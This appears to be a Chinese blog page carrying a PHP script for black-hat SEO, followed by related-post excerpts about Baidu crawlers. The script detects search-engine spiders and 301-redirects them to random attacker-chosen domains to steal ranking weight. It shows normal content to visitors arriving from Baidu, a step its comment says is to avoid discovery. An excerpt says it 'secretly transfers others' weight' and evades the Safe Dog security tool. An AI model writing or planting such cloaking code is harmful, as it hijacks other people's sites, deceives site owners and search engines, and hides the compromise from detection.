php 判断百度蜘蛛抓取,判断百度蜘蛛偷偷进行转移权重301,给新站提权
[PHP] 纯文本查看 复制代码<?php
/*
*作者:68喜科技
*/
error_reporting(E_ALL^E_NOTICE^E_WARNING);
$xieyi="http://";
function checkrobot($useragent=''){
static $kw_spiders = array('bot', 'crawl', 'spider' ,'slurp', 'sohu-search', 'lycos', 'robozilla');
static $kw_browsers = array('msie', 'netscape', 'opera', 'konqueror', 'mozilla');
$useragent = strtolower(empty($useragent) ? $_SERVER['HTTP_USER_AGENT'] : $useragent);
if(strpos($useragent, 'http://') === false && dstrpos($useragent, $kw_browsers)) return false;
if(dstrpos($useragent, $kw_spiders)) return true;
return false;
}
function dstrpos($string, $arr, $returnvalue = false) {
if(empty($string)) return false;
foreach((array)$arr as $v) {
if(strpos($string, $v) !== false) {
$return = $returnvalue ? $v : true;
return $return;
}
}
return false;
}
//网址随机输出,可以填写多个随机输出转移权重的网址
$url[0] = "http://demoo1.com";
$url[1] = "http://demoo2.com";
$url[2] = "http://demoo3.com";
$url[3] = "http://demoo4.com";
$url[4] = "http://demoo5.com";
$url[5] = "http://demoo5.com";
srand ((double)microtime()*1000000);
$randomnum = rand(0, count($url)-1);
if(checkrobot()){
Header("Location:$url[$randomnum]");
header('HTTP/1.1 301 Moved Permanently');
header("Location:$url[$randomnum]");
exit;
}
//判断的是百度,如果是百度点击进去就不跳转,防止被发现
if(stristr ($_SERVER['HTTP_REFERER'],"baidu.com"))
{
$file = file_get_contents( $xieyi.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
echo $file;
exit;
exit;
}
?>
php 判断百度蜘蛛抓取,判断百度蜘蛛偷偷进行转移权重301,给新站提权相关推荐
- php 让百度蜘蛛抓取403,百度蜘蛛抓取不存在目录 对应的解决方法
相信大家在分析百度蜘蛛日志的时候经常会发现一个问题,就是百度蜘蛛经常会抓取一些不存在的目录,比如:我网站没有这些目录,但是百度蜘蛛一直在抓取,或者你会发现百度蜘蛛在抓取自己的隐私目录,或者说php文件 ...
- php 让百度蜘蛛抓取403,百度蜘蛛不抓取页面的解决方法
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼 我们都知道我们网站的页面要想被百度收录必须经过百度蜘蛛的抓取,因此我们要经常关注我们网站页面被抓取的情况,如果遇到不被抓取的情况,那么就要引起我们的注意, ...
- php 偷偷转移别人权重,判断百度蜘蛛偷偷进行301转移权重 给新站提权
功能说明 1.判断蜘蛛跳转 2.支持多个域名随机跳转 3.判断百度搜索进去不进行跳转(防止被发现) 4.正常浏览器访问不跳转 5.过安全狗防护 使用方法 以下代码新建为:useragent.func. ...
- 百度网站抓取诊断自动提交工具
一.百度网站抓取诊断 百度站长如何抓取诊断网站? 具体操作流程: 1.登录百度站长平台 2.搜索服务>抓取诊断(可以根据pc端和mobile端的百度蜘蛛进行选择抓取进行提交) 3.输入网站的某u ...
- 小牛地图矢量抓取工具_SEO优化网站sitemap需要注意哪些要点才能很好的被百度蜘蛛抓取...
SEO优化网站sitemap需要注意哪些要点才能很好的被百度蜘蛛抓取 一.全部链接真实有效. 地图的主要目的是方便搜索引擎蜘蛛抓取的,如果地图存在死链,会影响网站在搜索引擎中网站权重的,要仔细检查有无 ...
- 百度搜索关键字抓取_百度搜索引擎收录的抓取规则 - 蜘蛛池
最蜘蛛池,快速提高网站收录,百度蜘蛛池.搜狗蜘蛛池.360蜘蛛池.神马蜘蛛池.繁殖池.权重池,欢迎使用. 浅谈搜索引擎收录的抓取规则?谈到SEO优化我们就必须不得不谈网站的收录问题,没有收录的站是不可 ...
- php通过函数怎么禁止百度蜘蛛抓取,怎么屏蔽百度蜘蛛抓取网站?
百度蜘蛛抓取我们的网站是希望将我们的网页收录到它的搜索引擎里,未来当用户搜索时,能为我们带来一定的SEO流量.当然我们并不是希望搜索引擎什么都抓取. 所以,这时我们只希望我们希望在搜索引擎被搜索到的内 ...
- 蜘蛛会抓取html框架,百度蜘蛛抓取网站的基本规则
网站做优化的都是希望搜索引擎蜘蛛可以快速抓取,这些大家都是希望的.但是蜘蛛抓取SEO网站的基本规则又是怎样的? 第一:高质量内容 网站高质量内容永远是搜索引擎蜘蛛抓取的首选.不管是谷歌还是百度,高质量 ...
- 百度蜘蛛抓取网页过程详解
蜘蛛抓取第一步 爬行和抓取 爬行到你的网站网页,寻找合适的资源.蜘蛛它有一个特性,那就是他的运动轨迹通常都是围绕着蜘蛛丝而走的,而我们之所以将搜索引擎的机器人命名为蜘蛛其实就是因为这个特性.当蜘蛛来到 ...
- 百度与谷歌蜘蛛抓取 配置
浅谈:如何屏蔽百度谷歌蜘蛛? 方法一.创建robots.txt文本 对于robots.txt文本的相关概念或者是协议我就不提了,主要是直接告诉大家这个文件的写法. 文件应该同时包含2个域," ...
最新文章
- c的开始,求最大数。
- 第一个 Windows 应用程序
- pcb地线应该不应该做成环路_PCB制板的基础知识,你都学会了吗?(中)
- 全面 Severless 化只需要 7天!
- XCTF-Web-高手区-shrine
- 扯淡!C语言怎么可能被淘汰呢?
- 可以买的一本书:3D计算机图形学(原书第3版)
- SPOJ GSS2 Can you answer these queries II (线段树离线) - xgtao -
- C++ 空字符('\0')和空格符(' ')
- 【BZOJ3831】Little Bird,单调队列优化DP
- Asp.net Core 添加 EF 工具并执行初始迁移错误解决方法(Add-Migration Initial---Build failed.)
- 程序员为什么值得写博客
- 互补品的需求曲线图_供给曲线和需求曲线的解析
- input/output is not in graph tf.layers.conv2d在name命名时会自动在其后添加Conv2D
- 计算机笔记--【Netty网络编程③】
- org.apache.jasper.servlet.TldScanner.scanJars At least one JAR was scanned f
- python怎么编写在线excel_超简单:用Python让Excel飞起来(零基础学python,用python实现办公自动化)...
- Android 判断是否是刘海屏
- MTL多目标学习介绍综述等
- 【无标题】https://e-cloudstore.com/ec/api/applist/index.html#/